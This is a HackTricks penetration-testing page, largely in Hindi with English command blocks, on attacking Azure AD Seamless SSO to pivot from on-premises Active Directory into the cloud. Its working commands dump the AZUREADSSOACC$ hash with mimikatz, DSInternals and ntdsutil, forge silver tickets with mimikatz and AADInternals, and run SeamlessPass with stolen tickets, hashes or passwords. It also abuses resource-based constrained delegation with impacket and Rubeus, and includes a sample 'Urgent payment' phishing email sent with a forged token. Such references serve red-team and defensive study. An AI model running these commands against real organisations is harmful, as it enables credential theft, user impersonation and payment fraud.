Az - Seamless SSO

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है, और आमतौर पर, यहां तक कि अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

बुनियादी रूप से Azure AD Seamless SSO उपयोगकर्ताओं को साइन इन करता है जब वे एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं

यह PHS (Password Hash Sync) और PTA (Pass-through Authentication) दोनों द्वारा समर्थित है।

डेस्कटॉप SSO प्रमाणीकरण के लिए Kerberos का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक कंप्यूटर खाता AZUREADSSOACC$ ऑन-प्रिम AD में बनाता है। AZUREADSSOACC$ खाते का पासवर्ड कॉन्फ़िगरेशन के दौरान Entra ID को स्पष्ट पाठ के रूप में भेजा जाता है

Kerberos टिकट **पासवर्ड के NTHash (MD4) का उपयोग करके एन्क्रिप्ट किए जाते हैं और Entra ID भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।

Entra ID एक एंडपॉइंट (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos टिकटों को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।

Enumeration

bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting: On-prem -> cloud

warning

इस हमले के बारे में जानने वाली मुख्य बात यह है कि केवल TGT या किसी उपयोगकर्ता का एक विशिष्ट TGS जो Entra ID के साथ समन्वयित है, क्लाउड संसाधनों तक पहुँचने के लिए पर्याप्त है।
इसका कारण यह है कि यह एक टिकट है जो उपयोगकर्ता को क्लाउड में लॉगिन करने की अनुमति देता है।

TGS टिकट प्राप्त करने के लिए, हमलावर को निम्नलिखित में से एक होना चाहिए:

  • एक समझौता किए गए उपयोगकर्ता का TGS: यदि आप HTTP/autologon.microsoftazuread-sso.com के लिए टिकट के साथ एक उपयोगकर्ता के सत्र को समझौता करते हैं, तो आप इसका उपयोग क्लाउड संसाधनों तक पहुँचने के लिए कर सकते हैं।
  • एक समझौता किए गए उपयोगकर्ता का TGT: भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT प्रतिनिधित्व चाल का उपयोग करके एक प्राप्त कर सकते हैं जैसे Kekeo और Rubeus
  • एक समझौता किए गए उपयोगकर्ता का हैश या पासवर्ड: SeamlessPass इस जानकारी के साथ डोमेन नियंत्रक के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके और फिर TGS।
  • एक गोल्डन टिकट: यदि आपके पास KRBTGT कुंजी है, तो आप उस उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं जिसे आप हमला कर रहे हैं।
  • AZUREADSSOACC$ खाता हैश या पासवर्ड: इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमला करना संभव है कि एक सेवा टिकट बनाया जाए और क्लाउड के साथ प्रमाणित किया जाए (जैसा कि पिछले तरीके में किया गया था)।

SeamlessPass

जैसा कि इस ब्लॉग पोस्ट में समझाया गया है, पिछले आवश्यकताओं में से कोई भी होने पर SeamlessPass उपकरण का उपयोग करना बहुत आसान है ताकि समझौता किए गए उपयोगकर्ता के रूप में, या किसी भी उपयोगकर्ता के रूप में यदि आपके पास AZUREADSSOACC$ खाता हैश या पासवर्ड है।

अंत में, TGT के साथ SeamlessPass उपकरण का उपयोग करना संभव है:

bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Firefox को seamless SSO के साथ काम करने के लिए और जानकारी इस ब्लॉग पोस्ट में मिल सकती है।

AZUREADSSOACC$ खाते के हैश प्राप्त करना

उपयोगकर्ता AZUREADSSOACC$ का पासवर्ड कभी नहीं बदलता। इसलिए, एक डोमेन एडमिन इस खाते के हैश को समझौता कर सकता है, और फिर इसका उपयोग सिल्वर टिकट बनाने के लिए कर सकता है ताकि किसी भी ऑन-प्रेम उपयोगकर्ता के साथ Azure से कनेक्ट किया जा सके:

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

note

वर्तमान जानकारी के साथ, आप पहले बताए गए अनुसार SeamlessPass टूल का उपयोग करके डोमेन में किसी भी उपयोगकर्ता के लिए azure और entraid टोकन प्राप्त कर सकते हैं। आप AZUREADSSOACC$ खाते के बजाय जिस पीड़ित का आप अनुकरण करना चाहते हैं, उसके पासवर्ड का हैश प्राप्त करने के लिए पिछले तकनीकों (और अन्य) का भी उपयोग कर सकते हैं।

Silver Tickets बनाना

हैश के साथ, आप अब silver tickets उत्पन्न कर सकते हैं:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Using Silver Tickets with Firefox

Silver टिकट का उपयोग करने के लिए, निम्नलिखित चरणों का पालन किया जाना चाहिए:

  1. ब्राउज़र प्रारंभ करें: Mozilla Firefox को लॉन्च किया जाना चाहिए।
  2. ब्राउज़र कॉन्फ़िगर करें:
  • about:config पर जाएं।
  • network.negotiate-auth.trusted-uris के लिए वरीयता को निर्दिष्ट मान पर सेट करें:
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Firefox Settings पर जाएं > Allow Windows single sign-on for Microsoft, work and school accounts के लिए खोजें और इसे सक्षम करें।
  1. वेब एप्लिकेशन तक पहुँचें:
  • एक वेब एप्लिकेशन पर जाएं जो संगठन के AAD डोमेन के साथ एकीकृत है। एक सामान्य उदाहरण है login.microsoftonline.com
  1. प्रमाणीकरण प्रक्रिया:
  • लॉगिन स्क्रीन पर, उपयोगकर्ता नाम दर्ज करें, पासवर्ड फ़ील्ड को खाली छोड़ दें।
  • आगे बढ़ने के लिए, TAB या ENTER दबाएं।

warning

यह MFA को बायपास नहीं करता यदि उपयोगकर्ता में सक्षम है

On-prem -> Cloud via Resource Based Constrained Delegation

हमला करने के लिए आवश्यक है:

  • WriteDACL / GenericWrite पर AZUREADSSOACC$
  • एक कंप्यूटर खाता जिसे आप नियंत्रित करते हैं (हैश और पासवर्ड) - आप एक बना सकते हैं
  1. चरण 1 – अपना खुद का कंप्यूटर खाता जोड़ें
  • ATTACKBOX$ बनाता है और इसका SID/NTLM हैश प्रिंट करता है। कोई भी डोमेन उपयोगकर्ता यह कर सकता है जब MachineAccountQuota > 0 हो।
bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. चरण 2 – AZUREADSSOACC$ पर RBCD प्रदान करें - आपकी मशीन का SID msDS-AllowedToActOnBehalfOfOtherIdentity में लिखता है।
bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. चरण 3 – किसी भी उपयोगकर्ता (जैसे कि alice) के लिए TGS बनाएं
bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

आप अब TGS का उपयोग Azure संसाधनों तक पहुंचने के लिए कर सकते हैं जैसे कि आप impersonated उपयोगकर्ता हैं।

क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना

यदि Active Directory प्रशासकों के पास Azure AD Connect तक पहुंच है, तो वे किसी भी क्लाउड-उपयोगकर्ता के लिए SID सेट कर सकते हैं। इस तरह Kerberos टिकट क्लाउड-केवल उपयोगकर्ताओं के लिए भी बनाए जा सकते हैं। एकमात्र आवश्यकता यह है कि SID एक उचित SID हो।

caution

क्लाउड-केवल प्रशासक उपयोगकर्ताओं का SID बदलना अब Microsoft द्वारा अवरुद्ध है।
जानकारी के लिए देखें https://aadinternals.com/post/on-prem_admin/

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें